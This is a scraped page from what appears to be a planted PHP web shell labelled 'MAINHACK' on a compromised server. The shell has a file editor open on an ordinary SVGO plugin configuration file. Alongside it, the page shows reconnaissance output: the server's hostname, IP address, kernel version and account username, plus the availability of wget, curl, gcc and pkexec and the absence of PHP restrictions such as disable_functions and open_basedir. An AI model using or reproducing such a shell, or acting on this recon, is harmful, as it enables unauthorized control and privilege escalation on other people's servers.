[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: config.js
'use strict'; const pluginsMap = require('../../plugins/plugins.js'); const pluginsOrder = [ 'removeDoctype', 'removeXMLProcInst', 'removeComments', 'removeMetadata', 'removeXMLNS', 'removeEditorsNSData', 'cleanupAttrs', 'mergeStyles', 'inlineStyles', 'minifyStyles', 'convertStyleToAttrs', 'cleanupIDs', 'prefixIds', 'removeRasterImages', 'removeUselessDefs', 'cleanupNumericValues', 'cleanupListOfValues', 'convertColors', 'removeUnknownsAndDefaults', 'removeNonInheritableGroupAttrs', 'removeUselessStrokeAndFill', 'removeViewBox', 'cleanupEnableBackground', 'removeHiddenElems', 'removeEmptyText', 'convertShapeToPath', 'convertEllipseToCircle', 'moveElemsAttrsToGroup', 'moveGroupAttrsToElems', 'collapseGroups', 'convertPathData', 'convertTransform', 'removeEmptyAttrs', 'removeEmptyContainers', 'mergePaths', 'removeUnusedNS', 'sortAttrs', 'sortDefsChildren', 'removeTitle', 'removeDesc', 'removeDimensions', 'removeAttrs', 'removeAttributesBySelector', 'removeElementsByAttr', 'addClassesToSVGElement', 'removeStyleElement', 'removeScriptElement', 'addAttributesToSVGElement', 'removeOffCanvasPaths', 'reusePaths', ]; const defaultPlugins = pluginsOrder.filter((name) => pluginsMap[name].active); exports.defaultPlugins = defaultPlugins; const extendDefaultPlugins = (plugins) => { console.warn( '\n"extendDefaultPlugins" utility is deprecated.\n' + 'Use "preset-default" plugin with overrides instead.\n' + 'For example:\n' + `{\n` + ` name: 'preset-default',\n` + ` params: {\n` + ` overrides: {\n` + ` // customize plugin options\n` + ` convertShapeToPath: {\n` + ` convertArcs: true\n` + ` },\n` + ` // disable plugins\n` + ` convertPathData: false\n` + ` }\n` + ` }\n` + `}\n` ); const extendedPlugins = pluginsOrder.map((name) => ({ name, active: pluginsMap[name].active, })); for (const plugin of plugins) { const resolvedPlugin = resolvePluginConfig(plugin); const index = pluginsOrder.indexOf(resolvedPlugin.name); if (index === -1) { extendedPlugins.push(plugin); } else { extendedPlugins[index] = plugin; } } return extendedPlugins; }; exports.extendDefaultPlugins = extendDefaultPlugins; const resolvePluginConfig = (plugin) => { let configParams = {}; if (typeof plugin === 'string') { // resolve builtin plugin specified as string const pluginConfig = pluginsMap[plugin]; if (pluginConfig == null) { throw Error(`Unknown builtin plugin "${plugin}" specified.`); } return { ...pluginConfig, name: plugin, active: true, params: { ...pluginConfig.params, ...configParams }, }; } if (typeof plugin === 'object' && plugin != null) { if (plugin.name == null) { throw Error(`Plugin name should be specified`); } if (plugin.fn) { // resolve custom plugin with implementation return { active: true, ...plugin, params: { ...configParams, ...plugin.params }, }; } else { // resolve builtin plugin specified as object without implementation const pluginConfig = pluginsMap[plugin.name]; if (pluginConfig == null) { throw Error(`Unknown builtin plugin "${plugin.name}" specified.`); } return { ...pluginConfig, active: true, ...plugin, params: { ...pluginConfig.params, ...configParams, ...plugin.params }, }; } } return null; }; exports.resolvePluginConfig = resolvePluginConfig;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002